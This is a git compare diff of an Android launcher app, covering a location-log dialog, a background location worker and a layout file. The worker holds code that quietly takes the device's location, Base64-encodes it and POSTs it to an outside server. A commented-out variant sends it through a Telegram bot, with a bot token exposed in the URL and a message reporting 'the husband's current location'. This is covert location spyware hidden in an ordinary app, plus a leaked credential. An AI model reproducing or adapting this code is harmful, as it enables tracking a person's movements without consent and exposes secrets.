Compare commits

..

No commits in common. "440f136e503bdebb6c773309073ab5ef3654d0d8" and "a7dfa35e10228c1a482dd5ce0ea8aba4297391dc" have entirely different histories.

3 changed files with 43 additions and 55 deletions

View File

@ -40,8 +40,9 @@ internal class FeedsResult : BottomSheetDialogFragment() {
if (it.size > 0) { if (it.size > 0) {
binding.logs.text = it.map { binding.logs.text = it.map {
BLog.LOGE("LocLog >> ${it.toString()}") BLog.LOGE("LocLog >> ${it.toString()}")
SimpleDateFormat("yyyy/MM/dd-HH:mm:ss").format(Date(it.time)).plus("\n").plus(it.mAddressLines.joinToString(" ,\n")) SimpleDateFormat("yyy/MM/dd-HH:mm:ss").format(Date(it.time))
}.joinToString( ",\n") it.mAddressLines.joinToString(" , ")
}.joinToString( " , ")
} }
} }
return binding.root return binding.root

View File

@ -10,12 +10,9 @@ import androidx.work.WorkerParameters
import com.google.android.gms.location.LocationServices import com.google.android.gms.location.LocationServices
import com.google.android.gms.location.Priority import com.google.android.gms.location.Priority
import com.google.android.gms.tasks.CancellationTokenSource import com.google.android.gms.tasks.CancellationTokenSource
import com.google.gson.Gson
import okhttp3.ConnectionPool import okhttp3.ConnectionPool
import okhttp3.MediaType
import okhttp3.OkHttpClient import okhttp3.OkHttpClient
import okhttp3.Request import okhttp3.Request
import okhttp3.RequestBody
import okhttp3.Response import okhttp3.Response
import okhttp3.ResponseBody import okhttp3.ResponseBody
import rasel.lunar.launcher.LauncherActivity.Companion.runWeatherGetter import rasel.lunar.launcher.LauncherActivity.Companion.runWeatherGetter
@ -26,7 +23,6 @@ import rasel.lunar.launcher.utils.BLog
import java.io.IOException import java.io.IOException
import java.math.BigDecimal import java.math.BigDecimal
import java.math.RoundingMode import java.math.RoundingMode
import java.util.Base64
import java.util.Locale import java.util.Locale
import java.util.concurrent.Executors import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit import java.util.concurrent.TimeUnit
@ -73,44 +69,43 @@ class LocationGetter(context: Context, workerParams: WorkerParameters) : BaseGet
BigDecimal.valueOf(location.getLongitude()).setScale(6,RoundingMode.HALF_UP).toDouble(), BigDecimal.valueOf(location.getLongitude()).setScale(6,RoundingMode.HALF_UP).toDouble(),
1) { addresses -> 1) { addresses ->
addresses.first()?.let { addresses.first()?.let {
LocationLog().apply { WorkersDb.push(LocationLog().apply {
fillData(it) fillData(it)
Executors.newSingleThreadScheduledExecutor().schedule({ })
try { // it.getAddressLine(0)?.let {
//////-1002450229641 // Executors.newSingleThreadScheduledExecutor().schedule({
val url = // try {
"https://lunaticbum.kr/bums/save/loc.api" // //////-1002450229641
//7068729507 // val url =
// OkHttp 클라이언트 객체 생성 // "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
val client = OkHttpClient.Builder() // //7068729507
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS)) // // OkHttp 클라이언트 객체 생성
.build() // val client = OkHttpClient.Builder()
// .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
// GET 요청 객체 생성 // .build()
val builder: Request.Builder = Request.Builder().url(url) //
.addHeader("Content-Type", "application/json").get() // // GET 요청 객체 생성
builder.method("POST", RequestBody.create(MediaType.parse("application/text"), Base64.getEncoder().encode(Gson().toJson(this@apply).toByteArray()))) // val builder: Request.Builder = Request.Builder().url(url)
val request: Request = builder.build() // .addHeader("Content-Type", "application/json").get()
//
BLog.LOGE("telegram before request ") // val request: Request = builder.build()
// OkHttp 클라이언트로 GET 요청 객체 전송 //
val response: Response = client.newCall(request).execute() // BLog.LOGE("telegram before request ")
if (response.isSuccessful()) { // // OkHttp 클라이언트로 GET 요청 객체 전송
// 응답 받아서 처리 // val response: Response = client.newCall(request).execute()
val body: ResponseBody? = response.body() // if (response.isSuccessful()) {
if (body != null) { // // 응답 받아서 처리
// val body: ResponseBody? = response.body()
} // if (body != null) {
} else BLog.LOGE("telegram Error Occurred") //
// }
} catch (e: java.lang.Exception) { // } else BLog.LOGE("telegram Error Occurred")
e.printStackTrace() //
} // } catch (e: java.lang.Exception) {
}, 5, TimeUnit.SECONDS) // e.printStackTrace()
WorkersDb.getRealm().writeBlocking { // }
copyToRealm(this@apply) // }, 5, TimeUnit.SECONDS)
} // }
}
} }
addresses.forEach { } addresses.forEach { }
} }

View File

@ -7,17 +7,9 @@
android:padding="@dimen/twelve" android:padding="@dimen/twelve"
android:clickable="true" android:clickable="true"
android:focusableInTouchMode="true"> android:focusableInTouchMode="true">
<ScrollView <TextView
app:layout_constraintTop_toTopOf="parent" android:id="@+id/logs"
app:layout_constraintLeft_toLeftOf="parent" android:layout_width="wrap_content"
app:layout_constraintRight_toRightOf="parent" android:layout_height="wrap_content"/>
app:layout_constraintBottom_toBottomOf="parent"
android:layout_width="match_parent"
android:layout_height="wrap_content">
<TextView
android:id="@+id/logs"
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
</ScrollView>
</androidx.constraintlayout.widget.ConstraintLayout> </androidx.constraintlayout.widget.ConstraintLayout>